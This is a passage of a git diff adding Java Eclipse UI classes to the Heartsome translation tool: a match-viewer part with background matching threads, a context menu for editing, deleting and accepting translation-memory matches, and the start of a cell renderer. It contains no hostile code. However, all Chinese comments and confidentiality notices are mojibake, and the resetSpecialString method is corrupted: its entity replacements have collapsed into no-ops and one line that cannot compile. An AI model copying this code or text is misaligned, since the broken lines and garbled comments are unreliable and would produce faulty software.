è¯‘æ–‡æ—¶ï¼Œåº”ç”¨æœ€å¤§è®°å¿†åº“åŒ¹é… + if ((tgt == null || tgt.equals("")) && transParameter.isApplyTmMatch() && tmAltTrans.size() > 0) { + AltTransBean aBean = tmAltTrans.get(0); + String tgtContent = aBean.getTgtContent(); + if (transUnit != null) { + String srcContent = transUnit.getSrcContent(); + if (srcContent != null && !srcContent.equals("") && transParameter.isAdjustSpacePosition()) { + tgtContent = TmUtils.adjustSpace(srcContent, tgtContent); + } + } + String matchType = aBean.getMatchProps().get("hs:matchType"); + String quality = aBean.getMatchProps().get("match-quality").trim(); + if (!matchType.equals("TM")) { + matchType = null; + quality = null; + } + editor.affterFuzzyMatchApplayTarget(rowIndex, tgtContent, matchType, quality); + } + + } else { + // 在编辑器中切æ¢æ–‡æœ¬æ®µæ—¶åˆ·æ–° infoLabel 的内容 + setMatchMessage(null, "", ""); + infoLabel.getParent().layout(); + + // 无译文,无匹é…时,å¤åˆ¶æ¥æºåˆ°ç›®æ ‡ + if (tgt == null || tgt.equals("") && transParameter.isApplySource()) { + editor.affterFuzzyMatchApplayTarget(rowIndex, transUnit.getSrcContent(), null, null); + } + updateActionState(); + } + tmAltTrans.clear(); + } + + /** + * 更新状æ€ä¿¡æ¯ + * @param content + * ; + */ + private void updateStatusInfo(final String content) { + Display.getDefault().syncExec(new Runnable() { + + public void run() { + if (content != null && content.length() != 0) { + setProcessMessage(tipLabelImage, content, ""); + } else { + setProcessMessage(null, "", ""); + } + } + }); + } + + private Vector executeComplexMatch(TransUnitBean transUnitBean, IProject currentProject) { + List matchers = ComplexMatcherFactory.getInstance().getCuurentMatcher(); + Vector allMatchs = new Vector(); + for (IComplexMatch matcher : matchers) { + String toolId = matcher.getToolId(); + if (!(toolId.equals(Constants.QT_TOOLID) && transParameter.isAutoQuickTrans())) { + continue; + } + Vector result = matcher.executeTranslation(transUnitBean, currentProject); + if (result.size() > 0) { + allMatchs.addAll(result); + } + } + return allMatchs; + } + + private void executeSimpleMatch(TransUnitInfo2TranslationBean tuInfo, TransUnitBean transUnit, + List needClearToolId, List needSaveAltTransList, + List needLoadAltTransList) { + List simpleMatchers = SimpleMatcherFactory.getInstance().getCuurentMatcher(); + for (ISimpleMatcher matcher : simpleMatchers) { + String toolId = matcher.getMathcerToolId(); + String matcherType = matcher.getMatcherType(); + Vector currentMatch = transUnit.getMatchesByToolId(toolId); + boolean isOverwrite = matcher.isOverwriteMatch(); + if (!matcher.matchChecker()) { + needLoadAltTransList.addAll(currentMatch); + continue; + } + if (currentMatch.size() > 0 && !isOverwrite) { + needLoadAltTransList.addAll(currentMatch); + continue; + } else { + String tgtText = matcher.executeMatch(tuInfo); + if (tgtText.equals("")) { + continue; + } + + AltTransBean bean = new AltTransBean(tuInfo.getSrcPureText(), tgtText, tuInfo.getSrcLanguage(), + tuInfo.getTgtLangugage(), matcher.getMathcerOrigin(), toolId); + bean.getMatchProps().put("match-quality", "100"); + bean.setSrcContent(tuInfo.getSrcPureText()); + bean.setTgtContent(tgtText); + bean.getMatchProps().put("hs:matchType", matcherType); + + currentMatch.clear(); + currentMatch.add(bean); + needLoadAltTransList.addAll(currentMatch); + + if (CommonFunction.checkEdition("U") && matcher.isSuportPreTrans()) { + needSaveAltTransList.add(bean); + transUnit.updateMatches(toolId, currentMatch); + if (currentMatch.size() > 0) { + needClearToolId.add(toolId); + } + } + } + } + } + }; + + /** + * 手动任务线程 + * @author Jason + * @version + * @since JDK1.6 + */ + class ManualTranslationTread extends Thread { + + private boolean isLocked; + + private boolean stop; + + private boolean interrupt; + + private TranslationTaskContainer container; + + private MessageFormat msgFormat; + + public ManualTranslationTread(TranslationTaskContainer container) { + this.container = container; + isLocked = false; + stop = false; + interrupt = false; + msgFormat = new MessageFormat(Messages.getString("view.MatchViewPart.processInfo.manualProcess")); + } + + @Override + public void run() { + while (!stop) { + synchronized (container) { + if (container.isEmpty()) { + try { + container.wait(); + } catch (InterruptedException e) { + } + } + } + if (isLocked) { + synchronized (container) { + try { + container.wait(); + } catch (InterruptedException e) { + } + } + } + Object obj = container.popTranslationTask(); + if (obj == null) { + interrupt = false; + continue; + } + if (obj instanceof ISimpleMatcher) { + if (rowIndex == -1 || tuInfoBean == null) { + continue; + } + if (interrupt) { + interrupt = false; // reset for next task + continue; + } + final ISimpleMatcher simpleMatcher = (ISimpleMatcher) obj; + updateStatusInfo(msgFormat.format(new String[] { simpleMatcher.getMathcerToolId() })); + String tgtText = simpleMatcher.executeMatch(tuInfoBean); + if (tgtText.equals("")) { + updateStatusInfo(null); + continue; + } + if (interrupt) { + interrupt = false; // reset for next task + updateStatusInfo(null); + continue; + } + AltTransBean bean = new AltTransBean(tuInfoBean.getSrcPureText(), tgtText, + tuInfoBean.getSrcLanguage(), tuInfoBean.getTgtLangugage(), + simpleMatcher.getMathcerOrigin(), simpleMatcher.getMathcerToolId()); + bean.getMatchProps().put("match-quality", "100"); + bean.setSrcContent(tuInfoBean.getSrcPureText()); + bean.setTgtContent(tgtText); + bean.getMatchProps().put("hs:matchType", simpleMatcher.getMatcherType()); + + // first refresh cache, then use cache refresh UI + final List newAltTrans = new ArrayList(); + newAltTrans.add(bean); + if (interrupt) { + updateStatusInfo(null); + interrupt = false; // reset for next task + continue; + } + refreshAltTransCache(newAltTrans); + refreshUI(); + if (CommonFunction.checkEdition("U") && simpleMatcher.isSuportPreTrans() && handler != null) { + + Display.getDefault().syncExec(new Runnable() { + + public void run() { + // é‡æ–°å†™å…¥altTrans + List toolIdList = new ArrayList(); + toolIdList.add(simpleMatcher.getMathcerToolId()); + handler.updateAltTrans(handler.getRowId(rowIndex), newAltTrans, toolIdList); + toolIdList.clear(); + newAltTrans.clear(); + } + }); + } + } else if (obj instanceof IComplexMatch) { + IComplexMatch complexMatch = (IComplexMatch) obj; + updateStatusInfo(msgFormat.format(new String[] { complexMatch.getToolId() })); + if (rowIndex != -1 && currentProject != null && currentTransUnitBean != null) { + if (interrupt) { + interrupt = false; // reset for next task + updateStatusInfo(null); + continue; + } + Vector result = complexMatch.executeTranslation(currentTransUnitBean, + currentProject); + if (interrupt) { + interrupt = false; // reset for next task + updateStatusInfo(null); + continue; + } + if (result.size() > 0) { + // first refresh cache, then use cache refresh UI + refreshAltTransCache(result); + refreshUI(); + } else { + updateStatusInfo(null); + } + } + } + } + } + + /** + * 中断当å‰ä»»åŠ¡ï¼Œåœæ­¢å½“å‰ä»»åŠ¡çš„执行,并清空任务列表,线程进入等待新任务状æ€
    + * 如果当å‰ä»»åŠ¡å·²ç»è¿›å…¥é˜»å¡žçŠ¶æ€ï¼Œåˆ™ä¸ä¼šäº§ç”Ÿä»»ä½•æ•ˆæžœ + */ + public void interruptCurrentTask() { + this.interrupt = true; + synchronized (container) { + container.clearContainer(); + } + } + + public void setLock(boolean isLock) { + this.isLocked = isLock; + if (!isLocked) { + // å–消é”定则æ¢å¤æ‰“æ–­çŠ¶æ€ + interrupt = false; + + // å–消é”定则唤醒线程,此时å¯èƒ½container为空时å†æ¬¡è¿›å…¥é˜»å¡ž + synchronized (container) { + container.notify(); + } + } + } + + /** + * åœæ­¢çº¿ç¨‹ ; + */ + public void setStop() { + this.stop = true; + container.clearContainer(); + interruptCurrentTask(); + interrupt(); + } + + /** + * 更新状æ€ä¿¡æ¯ + * @param content + * ; + */ + private void updateStatusInfo(final String content) { + Display.getDefault().syncExec(new Runnable() { + + public void run() { + if (content != null && content.length() != 0) { + setProcessMessage(tipLabelImage, content, ""); + } else { + setProcessMessage(null, "", ""); + } + } + }); + } + + /** + * å°†matches添加到needLoadAltTransList中 + * @param matches + * ; + */ + private void refreshAltTransCache(List matches) { + if (matches.size() == 0) { + return; + } + if (altTransCacheList.size() == 0) { + altTransCacheList.addAll(matches); + return; + } + int currIndex = -1; + String type = matches.get(0).getMatchProps().get("hs:matchType"); + for (int i = 0; i < altTransCacheList.size(); i++) { + AltTransBean b = altTransCacheList.get(i); + String t = b.getMatchProps().get("hs:matchType"); + if (t != null && t.equals(type)) { + if (currIndex == -1) { + currIndex = i + 1; + } + altTransCacheList.remove(i); + i--; + } + } + if (currIndex > altTransCacheList.size() - 1 || currIndex == -1) { + currIndex = altTransCacheList.size(); + } + + altTransCacheList.addAll(currIndex, matches); + } + + private void refreshUI() { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + copyEnable.resetSelection(); + gridTable.removeAll(); + loadData(altTransCacheList); + int itemSize = gridTable.getItemCount(); + if (itemSize > 0) { + gridTable.setSelection(0); + } + updateStatusInfo(null); + } + }); + } + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.part.WorkbenchPart#setFocus() + */ + @Override + public void setFocus() { + gridTable.setFocus(); + } + + private void setMatchMessage(Image image, String message, String tooltip) { + infoLabel.setImage(image); + infoLabel.setText(message); + infoLabel.setToolTipText(tooltip); + } + + private void setProcessMessage(Image image, String message, String tooltip) { + tipLabel.setImage(image); + tipLabel.setText(message); + tipLabel.setToolTipText(tooltip); + tipLabel.pack(); + } + + @Override + public void dispose() { + getSite().getPage().removePostSelectionListener(this); + this.editor = null; + this.handler = null; + tmMatcher.clearResources(); + + if (tmImage != null && !tmImage.isDisposed()) { + tmImage.dispose(); + } + if (qtImage != null && !qtImage.isDisposed()) { + qtImage.dispose(); + } + if (bingImage != null && !bingImage.isDisposed()) { + bingImage.dispose(); + } + if (googleImage != null && !googleImage.isDisposed()) { + googleImage.dispose(); + } + if (otherImage != null && !otherImage.isDisposed()) { + otherImage.dispose(); + } + if (selectedBgColor != null && !selectedBgColor.isDisposed()) { + selectedBgColor.dispose(); + } + if (tipLabelImage != null && !tipLabelImage.isDisposed()) { + tipLabelImage.dispose(); + } + JFaceResources.getFontRegistry().removeListener(fontChangeListener); + + manualTranslationThread.setStop(); + manualTranslationThread.interrupt(); + if(matcherThread != null){ + matcherThread.setStop(); + matcherThread.interrupt(); + } + matcherThread = null; + super.dispose(); + } + + public Image getImageByType(String type) { + + if (type.equals(TmConstants.MATCH_TYPE_TM)) { + return tmImage; + } + + if (type.equals(TmConstants.MATCH_TYPE_QT)) { + return qtImage; + } + + if (type.equals("Bing")) { + return bingImage; + } + + if (type.equals("Google")) { + return googleImage; + } + + if (type.equals("others")) { + return otherImage; + } + return null; + } + + class FontPropertyChangeListener implements IPropertyChangeListener { + + public void propertyChange(PropertyChangeEvent event) { + if (gridTable == null || gridTable.isDisposed()) { + return; + } + String property = event.getProperty(); + if (net.heartsome.cat.ts.ui.Constants.MATCH_VIEWER_TEXT_FONT.equals(property)) { + Font font = JFaceResources.getFont(net.heartsome.cat.ts.ui.Constants.MATCH_VIEWER_TEXT_FONT); + sourceColunmCellRenderer.setFont(font); + targetColumnCellRenderer.setFont(font); + gridTable.redraw(); + } + } + } + + /** + * 创建视图工具æ çš„按钮。 + */ + private void createActions() { + menuMgr = new MatchViewerBodyMenu(this); + gridTable.setMenu(menuMgr.getBodyMenu()); + + IToolBarManager toolBarManager = getViewSite().getActionBars().getToolBarManager(); + toolBarManager.add(menuMgr.editAction); + toolBarManager.add(menuMgr.deleteAction); + toolBarManager.add(menuMgr.acceptMatchAction); + toolBarManager.add(menuMgr.acceptMatchPureTextAction); + menuMgr.updateActionState(); + } + + /** + * Sets the enabled state of this View. + * @param enabled + * ; + */ + private void updateActionState() { + menuMgr.updateActionState(); + } + + private synchronized void loadData(List matches) { + if (matches == null) { + return; + } + for (AltTransBean altTransBean : matches) { + String type = altTransBean.getMatchProps().get("hs:matchType"); + if (type == null || type.equals("")) { + type = "others"; + } + String orgin = altTransBean.getMatchOrigin(); + if (orgin == null) { + // Fixed bug 2258 by Jason 翻译匹é…é¢æ¿ä¸æ”¯æŒéž HS 工具匹é…ä¿¡æ¯çš„显示 + orgin = ""; + } + + String srcContent = altTransBean.getSrcContent(); + if (srcContent == null || srcContent.equals("")) { + continue; + } + + String tgtContent = altTransBean.getTgtContent(); + if (tgtContent == null || tgtContent.equals("")) { + continue; + } + + String quality = altTransBean.getMatchProps().get("match-quality").trim(); + if (quality == null) { + quality = ""; + } else { + if (!quality.endsWith("%")) { + quality += "%"; + } + } + + String changeDate = null; + String changeid = null; + String creationDate = null; + String creationid = null; + + Vector propGroups = altTransBean.getPropGroups(); + StringBuffer toolTipBfTemp = new StringBuffer(); + if (propGroups != null) { + for (PropGroupBean propGroupBean : propGroups) { + List propBeans = propGroupBean.getProps(); + for (PropBean bean : propBeans) { + String ptype = bean.getProptype(); + String pVal = bean.getValue(); + if (ptype.equals("changeDate")) { + if (pVal != null && !pVal.equals("")) { + changeDate = DateUtils.formatDateFromUTC(pVal); + } + } else if (ptype.equals("changeId")) { + changeid = pVal; + } else if (ptype.equals("creationId")) { + creationid = pVal; + } else if (ptype.equals("creationDate")) { + if (pVal != null && !pVal.equals("")) { + creationDate = DateUtils.formatDateFromUTC(pVal); + } + } else { + toolTipBfTemp.append(ptype).append(" : ").append(pVal).append("\n"); + } + } + } + } + StringBuffer toolTipBf = new StringBuffer(); + if (creationid != null && !creationid.equals("")) { + toolTipBf.append(Messages.getString("view.MatchViewPart.info.tooltip.creationId")).append(creationid) + .append("\n"); + } + if (creationDate != null && !creationDate.equals("")) { + toolTipBf.append(Messages.getString("view.MatchViewPart.info.tooltip.creationDate")) + .append(creationDate).append("\n"); + } + toolTipBf.append(toolTipBfTemp); + + StringBuffer msgBf = new StringBuffer(); + if (changeDate != null && !changeDate.equals("")) { + msgBf.append(changeDate); + } + if (changeid != null && !changeid.equals("")) { + if (msgBf.length() != 0) { + msgBf.append(" | "); + } + msgBf.append(changeid); + } + if (orgin != null && !orgin.equals("")) { + if (msgBf.length() != 0) { + msgBf.append(" | "); + } + msgBf.append(orgin); + } + + GridItem gridItem = new GridItem(gridTable, SWT.NONE); + + StringBuffer sbSrc = new StringBuffer(srcContent); + InnerTagUtil.parseXmlToDisplayValue(sbSrc, TagStyle.getDefault(false)); + gridItem.setText(0, srcContent/* InnerTagUtil.resolveTag(sbSrc.toString()) */); + + gridItem.setText(1, quality); + + StringBuffer sbTgt = new StringBuffer(tgtContent); + InnerTagUtil.parseXmlToDisplayValue(sbTgt, TagStyle.getDefault(false)); + gridItem.setText(2, tgtContent/* InnerTagUtil.resolveTag(sbTgt.toString()) */); + + gridItem.setData("info", resetSpecialString(msgBf.toString())); // ä¿å­˜ä¿¡æ¯ + gridItem.setData("infoTooltip", resetSpecialString(toolTipBf.toString())); + gridItem.setData("tgtText", altTransBean.getTgtText()); // ä¿å­˜ç›®æ ‡çº¯æ–‡æœ¬ + gridItem.setData("tgtContent", tgtContent); // ä¿å­˜ç›®æ ‡çº¯æ–‡æœ¬ + gridItem.setData("matchType", type); + gridItem.setData("quality", quality.substring(0, quality.lastIndexOf('%'))); + gridItem.setData("typeImage", getImageByType(type)); + gridItem.setData("tmFuzzyInfo", altTransBean.getFuzzyResult()); + } + } + + private String resetSpecialString(String input) { + input = input.replaceAll("<", "<"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll(">", ">"); //$NON-NLS-1$ //$NON-NLS-2$ + input = input.replaceAll(""", "\""); + input = input.replaceAll("'", "'"); + input = input.replaceAll("&", "&"); //$NON-NLS-1$ //$NON-NLS-2$ + return input; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/MatchViewerBodyMenu.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/MatchViewerBodyMenu.java new file mode 100644 index 0000000..ae636ab --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/MatchViewerBodyMenu.java @@ -0,0 +1,366 @@ +/** + * MatchViewerMenuManager.java + * + * Version information : + * + * Date:2013-3-28 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.translation.view; + +import java.util.Hashtable; + +import net.heartsome.cat.common.bean.FuzzySearchResult; +import net.heartsome.cat.ts.core.bean.TransUnitBean; +import net.heartsome.cat.ts.ui.translation.Activator; +import net.heartsome.cat.ts.ui.translation.ImageConstants; +import net.heartsome.cat.ts.ui.translation.dialog.TmMatchEditDialog; +import net.heartsome.cat.ts.ui.translation.resource.Messages; +import net.heartsome.cat.ts.ui.util.TmUtils; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.action.Action; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.window.Window; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ST; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Item; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.ui.ISharedImages; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.internal.WorkbenchMessages; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class MatchViewerBodyMenu { + private static final Logger logger = LoggerFactory.getLogger(MatchViewerBodyMenu.class); + private Menu bodyMenu; + private MatchViewPart view; + CopyAction copyAction; + DeleteTmAction deleteAction; + EditTmAction editAction; + AcceptMatchAction acceptMatchAction; + AcceptMatchPureTextAction acceptMatchPureTextAction; + + public MatchViewerBodyMenu(MatchViewPart view) { + this.view = view; + createMenu(); + bodyMenu.addListener(SWT.Show, new Listener() { + + public void handleEvent(Event event) { + updateActionState(); + } + }); + } + + public Menu getBodyMenu() { + return this.bodyMenu; + } + + private void createMenu() { + MenuManager menuMgr = new MenuManager(); + bodyMenu = menuMgr.createContextMenu(view.gridTable); + copyAction = new CopyAction(); + menuMgr.add(copyAction); + editAction = new EditTmAction(); + menuMgr.add(editAction); + deleteAction = new DeleteTmAction(); + menuMgr.add(deleteAction); + acceptMatchAction = new AcceptMatchAction(); + menuMgr.add(acceptMatchAction); + acceptMatchPureTextAction = new AcceptMatchPureTextAction(); + menuMgr.add(acceptMatchPureTextAction); + } + + void updateActionState() { + copyAction.updateEnabledState(); + editAction.updateEnabledState(); + deleteAction.updateEnabledState(); + + acceptMatchAction.updateEnabledState(); + acceptMatchPureTextAction.updateEnabledState(); + } + + class EditTmAction extends Action { + public EditTmAction() { + setText(Messages.getString("view.MatchViewerBodyMenu.EditTmAction")); + setToolTipText(Messages.getString("view.MatchViewerBodyMenu.EditTmAction.tooltip")); + setImageDescriptor(Activator.getImageDescriptor(ImageConstants.EDIT_MATCH)); + } + + @Override + public void run() { + int selectionIndex = view.gridTable.getSelectionIndex(); + if (selectionIndex < 0 || selectionIndex > view.gridTable.getItemCount()) { + return; + } + GridItem item = view.gridTable.getItem(selectionIndex); + Object obj = item.getData("tmFuzzyInfo"); + if (obj == null) { + return; + } + FuzzySearchResult fuzzyResult = (FuzzySearchResult) obj; + + TmMatchEditDialog dlg = new TmMatchEditDialog(PlatformUI.getWorkbench().getDisplay().getActiveShell(), fuzzyResult); + if (dlg.open() == Window.OK) { + try { + view.tmMatcher.updateFuzzResult(fuzzyResult); + view.reLoadMatches(view.editor, view.rowIndex); + } catch (Exception e) { + MessageDialog.openError(view.getSite().getShell(), + Messages.getString("view.MatchViewerBodyMenu.erorr.title"), + Messages.getString("view.MatchViewerBodyMenu.error.editError") + e.getMessage()); + logger.error("Updaste TM matche Error",e); + } + } + } + + public void updateEnabledState() { + + int selectionIndex = view.gridTable.getSelectionIndex(); + if (selectionIndex < 0 || selectionIndex > view.gridTable.getItemCount()) { + setEnabled(false); + return; + } + GridItem item = view.gridTable.getItem(selectionIndex); + Object obj = item.getData("tmFuzzyInfo"); + if (obj == null) { + setEnabled(false); + return; + } + FuzzySearchResult fuzzyResult = (FuzzySearchResult) obj; + if (fuzzyResult.getDbOp() == null) { + setEnabled(false); + return; + } + setEnabled(true); + + } + } + + class DeleteTmAction extends Action { + public DeleteTmAction() { + setText(Messages.getString("view.MatchViewerBodyMenu.DeleteTmAction")); + setToolTipText(Messages.getString("view.MatchViewerBodyMenu.DeleteTmAction.tooltip")); + setImageDescriptor(Activator.getImageDescriptor(ImageConstants.DELETE_MATCH)); + } + + @Override + public void run() { + if (!MessageDialog.openConfirm(view.getSite().getShell(), + Messages.getString("view.MatchViewerBodyMenu.confirm.title"), + Messages.getString("view.MatchViewerBodyMenu.confirm.deleteInfo"))) { + return; + } + int selectionIndex = view.gridTable.getSelectionIndex(); + if (selectionIndex < 0 || selectionIndex > view.gridTable.getItemCount()) { + return; + } + GridItem item = view.gridTable.getItem(selectionIndex); + Object obj = item.getData("tmFuzzyInfo"); + if (obj == null) { + return; + } + FuzzySearchResult fuzzyResult = (FuzzySearchResult) obj; + try { + view.tmMatcher.deleteFuzzyResult(fuzzyResult); + view.reLoadMatches(view.editor, view.rowIndex); + } catch (Exception e) { + MessageDialog.openError(view.getSite().getShell(), + Messages.getString("view.MatchViewerBodyMenu.erorr.title"), + Messages.getString("view.MatchViewerBodyMenu.error.deleteError") + e.getMessage()); + } + } + + public void updateEnabledState() { + int selectionIndex = view.gridTable.getSelectionIndex(); + if (selectionIndex < 0 || selectionIndex > view.gridTable.getItemCount()) { + setEnabled(false); + return; + } + GridItem item = view.gridTable.getItem(selectionIndex); + Object obj = item.getData("tmFuzzyInfo"); + if (obj == null) { + setEnabled(false); + return; + } + FuzzySearchResult fuzzyResult = (FuzzySearchResult) obj; + if (fuzzyResult.getDbOp() == null) { + setEnabled(false); + return; + } + setEnabled(true); + } + }; + + class CopyAction extends Action { + + CopyAction() { + super(WorkbenchMessages.Workbench_copy); + ISharedImages sharedImages = view.getSite().getWorkbenchWindow().getWorkbench().getSharedImages(); + setImageDescriptor(sharedImages.getImageDescriptor(ISharedImages.IMG_TOOL_COPY)); + setDisabledImageDescriptor(sharedImages.getImageDescriptor(ISharedImages.IMG_TOOL_COPY_DISABLED)); + setEnabled(false); + } + + @Override + public void run() { + view.copyEnable.doAction(ST.COPY); + } + + public void updateEnabledState() { + if (view.copyEnable != null && view.copyEnable.getSelectionCount() > 0) { + setEnabled(true); + return; + } + setEnabled(false); + } + }; + + class AcceptMatchAction extends Action{ + AcceptMatchAction() { + setEnabled(false); + setText(Messages.getString("view.MatchViewPart.firstAction")); + setToolTipText(Messages.getString("view.MatchViewPart.firstAction.tooltip")); + setImageDescriptor(Activator.getIconDescriptor(ImageConstants.ACCEPT_FULLTEXT)); + } + + @Override + public void run() { + + if (view.editor == null || view.rowIndex < 0) { + return; + } + // 先判断文本段是å¦å¤„ç†é”定状æ€,robert 2012-05-02 + TransUnitBean transUnit = view.editor.getRowTransUnitBean(view.rowIndex); + String translate = transUnit.getTuProps().get("translate"); + if (translate != null && "no".equalsIgnoreCase(translate)) { + // MessageDialog.openInformation(getSite().getShell(), + // Messages.getString("view.MatchViewPart.msgTitle"), + // Messages.getString("view.MatchViewPart.msg2")); + return; + } + int selectionIndex = view.gridTable.getSelectionIndex(); + if (selectionIndex < 0 || selectionIndex > view.gridTable.getItemCount()) { + return; + } + GridItem item = view.gridTable.getItem(selectionIndex); + String tgtContent = item.getData("tgtContent").toString(); // 译文内容 + String matchType = item.getData("matchType").toString(); + String quality = item.getData("quality").toString(); + if (transUnit != null) { + String srcContent = transUnit.getSrcContent(); + if (srcContent != null && !srcContent.equals("") && view.transParameter.isAdjustSpacePosition()) { + tgtContent = TmUtils.adjustSpace(srcContent, tgtContent); + } + } + try { + if (!matchType.equals("TM")) { + matchType = null; + quality = null; + } + view.editor.updateCell(view.rowIndex, view.editor.getTgtColumnIndex(), tgtContent, matchType, quality); + // editor.setFocus(); // 焦点给回编辑器 + } catch (ExecutionException e) { + MatchViewPart.LOGGER.error("", e); + MessageDialog.openInformation(view.getSite().getShell(), + Messages.getString("view.MatchViewPart.msgTitle"), + Messages.getString("view.MatchViewPart.msg3") + e.getMessage()); + } + + } + + public void updateEnabledState() { + Item[] items = view.gridTable.getItems(); + if(items.length == 0){ + setEnabled(false); + return; + } + + if(view.gridTable.getSelectionIndex() == -1){ + setEnabled(false); + return; + } + setEnabled(true); + } + } + + class AcceptMatchPureTextAction extends Action{ + AcceptMatchPureTextAction() { + setEnabled(false); + setText(Messages.getString("view.MatchViewPart.secondAction")); + setToolTipText(Messages.getString("view.MatchViewPart.secondAction.tooltip")); + setImageDescriptor(Activator.getIconDescriptor(ImageConstants.ACCEPT_TEXT)); + } + + @Override + public void run() { + + if (view.editor == null || view.rowIndex < 0) { + return; + } + TransUnitBean transUnit = view.editor.getRowTransUnitBean(view.rowIndex); + Hashtable tuProp = transUnit.getTuProps(); + if (tuProp != null) { + String translate = tuProp.get("translate"); + if (translate != null && translate.equalsIgnoreCase("no")) { + MessageDialog.openInformation(view.getSite().getShell(), + Messages.getString("view.MatchViewPart.msgTitle"), + Messages.getString("view.MatchViewPart.msg2")); + return; + } + } + + int selectionIndex = view.gridTable.getSelectionIndex(); + if (selectionIndex < 0 || selectionIndex > view.gridTable.getItemCount()) { + return; + } + GridItem item = view.gridTable.getItem(selectionIndex); + String pureText = (String) item.getData("tgtText"); + String matchType = item.getData("matchType").toString(); + String quality = item.getData("quality").toString(); + try { + if (!matchType.equals("TM")) { + matchType = null; + quality = null; + } + view.editor.updateCell(view.rowIndex, view.editor.getTgtColumnIndex(), pureText, matchType, quality); + // editor.setFocus(); // 焦点给回编辑器 + } catch (ExecutionException e) { + MatchViewPart.LOGGER.error("", e); + MessageDialog.openInformation(view.getSite().getShell(), + Messages.getString("view.MatchViewPart.msgTitle"), + Messages.getString("view.MatchViewPart.msg3") + e.getMessage()); + } + + } + + public void updateEnabledState() { + Item[] items = view.gridTable.getItems(); + if(items.length == 0){ + setEnabled(false); + return; + } + + if(view.gridTable.getSelectionIndex() == -1){ + setEnabled(false); + return; + } + setEnabled(true); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/SourceColunmCellRenderer.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/SourceColunmCellRenderer.java new file mode 100644 index 0000000..fd24fe3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/SourceColunmCellRenderer.java @@ -0,0 +1,211 @@ +/** + * MatchViewCellRenderer.java + * + * Version information : + * + * Date:Dec 26, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.translation.view; + +import java.util.Iterator; +import java.util.List; + +import net.heartsome.cat.common.bean.ColorConfigBean; +import net.heartsome.cat.common.ui.utils.InnerTagUtil; +import net.heartsome.cat.ts.ui.grid.XGridCellRenderer; +import net.heartsome.cat.ts.ui.translation.comparator.Comparator; + +import org.eclipse.jface.text.Position; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class SourceColunmCellRenderer extends XGridCellRenderer { + + // private TextLayout textLayout; + + private String tuSrcText; + + private ColorConfigBean colorConfigBean = ColorConfigBean.getInstance(); + + /** + * @param tuSrcText + * the tuSrcText to set + */ + public void setTuSrcText(String tuSrcText) { + innerTagFactory.reset(); + this.tuSrcText = InnerTagUtil.resolveTag(innerTagFactory.parseInnerTag(tuSrcText.trim())); + } + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) { + GridItem item = (GridItem) value; + gc.setFont(item.getFont(getColumn())); + boolean drawBackground = true; + + boolean drawAsSelected = isSelected(); + if (isCellSelected()) { + drawAsSelected = true; + } + gc.setForeground(item.getForeground(getColumn())); + if (drawAsSelected) { + gc.setBackground((Color) item.getParent().getData("selectedBgColor")); + } else { + if (item.getParent().isEnabled()) { + Color back = item.getBackground(getColumn()); + if (back != null) { + gc.setBackground(back); + } else { + drawBackground 